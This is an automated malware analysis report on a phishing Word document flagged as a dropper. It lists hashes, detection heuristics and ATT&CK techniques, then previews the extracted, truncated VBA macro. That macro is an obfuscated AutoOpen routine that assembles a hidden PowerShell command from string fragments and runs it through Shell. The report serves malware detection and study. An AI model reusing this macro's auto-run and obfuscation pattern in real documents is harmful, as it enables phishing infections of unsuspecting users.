Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f129df33a5bb3558…

MALICIOUS

Office (OLE)

152.0 KB Created: 2017-12-19 20:24:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 727d840a824777d795594b7393f6d8e7 SHA-1: 520558baf41c08775fdd9a2091a0ddae2efeef0b SHA-256: f129df33a5bb35589bf9f9cce485c11f0c12afe0c870d0b5d29f4f89b9a9be62
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, a common technique for executing arbitrary commands, suggesting it's designed to download and execute a secondary payload. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further supports a dropper or downloader role.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.jjqQ+jq In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69046 bytes
SHA-256: f7e4a1efcb367caf6c15804f2912af6aafb940a11426aa45a7d9fafdaef97759
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "YGQzuEF"
Sub AutoOpen()
On Error Resume Next
vDPXLQrVw = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 7 + ChrB(10 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 12 / 10) - (13 - CBool(881 - 12) * TMfXJir + Cos(7))
NKFSnivFb = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 14 + ChrB(11 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 8 / 7) - (14 - CBool(881 - 10) * TMfXJir + Cos(7))
BVABpbMNX = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 11 + ChrB(11 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 14 / 12) - (13 - CBool(881 - 13) * TMfXJir + Cos(12))
coQKPPWvz = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 8 + ChrB(13 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 13 / 12) - (12 - CBool(881 - 9) * TMfXJir + Cos(8))
QraVXizbz = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 9 + ChrB(10 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 9 / 14) - (8 - CBool(881 - 12) * TMfXJir + Cos(8))
VBA.Shell$ PWVbDrzf, 0
lmTfNNLNq = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 8 + ChrB(9 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 12 / 10) - (13 - CBool(881 - 7) * TMfXJir + Cos(9))
sbRoZpYhs = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 14 + ChrB(11 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 10 / 11) - (10 - CBool(881 - 14) * TMfXJir + Cos(8))
NIMVGrHwK = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 13 + ChrB(10 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 13 / 13) - (12 - CBool(881 - 9) * TMfXJir + Cos(14))
upofSURkN = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 14 + ChrB(8 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 12 / 13) - (8 - CBool(881 - 11) * TMfXJir + Cos(7))
LwRtNlHCE = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 7 + ChrB(13 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 10 / 7) - (10 - CBool(881 - 10) * TMfXJir + Cos(11))
End Sub
Function PWVbDrzf()
On Error Resume Next
FHcIUph = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 10 + ChrB(10 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 7 / 11) - (7 - CBool(881 - 11) * TMfXJir + Cos(8))
KwItkVw = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 13 + ChrB(11 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 13 / 13) - (9 - CBool(881 - 13) * TMfXJir + Cos(12))
RLrcqcOKzKY = Mid("vkk6i  'o0R',[char]36 -rePLacE  'fZi',[char]124) ) P1L8BVdV8zAoGH6M3 Fpc4nwjR9cLXvV", 6, 46)
YszXNG = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 14 + ChrB(11 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 10 / 10) - (13 - CBool(881 - 11) * TMfXJir + Cos(8))
UMPzWN = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 13 + ChrB(12 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 11 / 12) - (9 - CBool(881 - 11) * TMfXJir + Cos(7))
NtoQC = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 7 + ChrB(9 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 11 / 8) - (11 - CBool(881 - 7) * TMfXJir + Cos(9))
iOZicqGfvX = Mid("BGYYIRFJAMJHD1WnM1a7IpNqIXCWO0BQ+jq'+'QHAR]70),[cHAR]3'+'6) yj7 .(isI0", 32, 35)
zUhrNIw = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 13 + ChrB(8 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 12 / 11) - (9 - CBool(881 - 14) * TMfXJir + Cos(12))
CDdYliu = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 7 + ChrB(9 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 8 / 8) - (9 - CBool(881 - 10) * TMfXJir + Cos(14))
aLiJJtw = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 12 + ChrB(11 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 11 / 8) - (8 - CBool(881 - 11) * TMfXJir + Cos(13))
uFrzShRs = Mid("lLv46bcrs'+'d oPs+oPs= newoPs+oPs-lY9ZMHCAU0w", 9, 26)
crdhP = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 9 + ChrB(11 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 13 / 12) - (13 - CBool(881 - 12) * TMfXJir + Cos(8))
jPwmV = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 13 + ChrB(12 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 10 / 11) - (10 - CBool(881 - 12) * TMfXJir + Cos(10))
LlclCjTiRh = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 11 + ChrB(10 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 13 / 8) - (9 - CBool
... (truncated)

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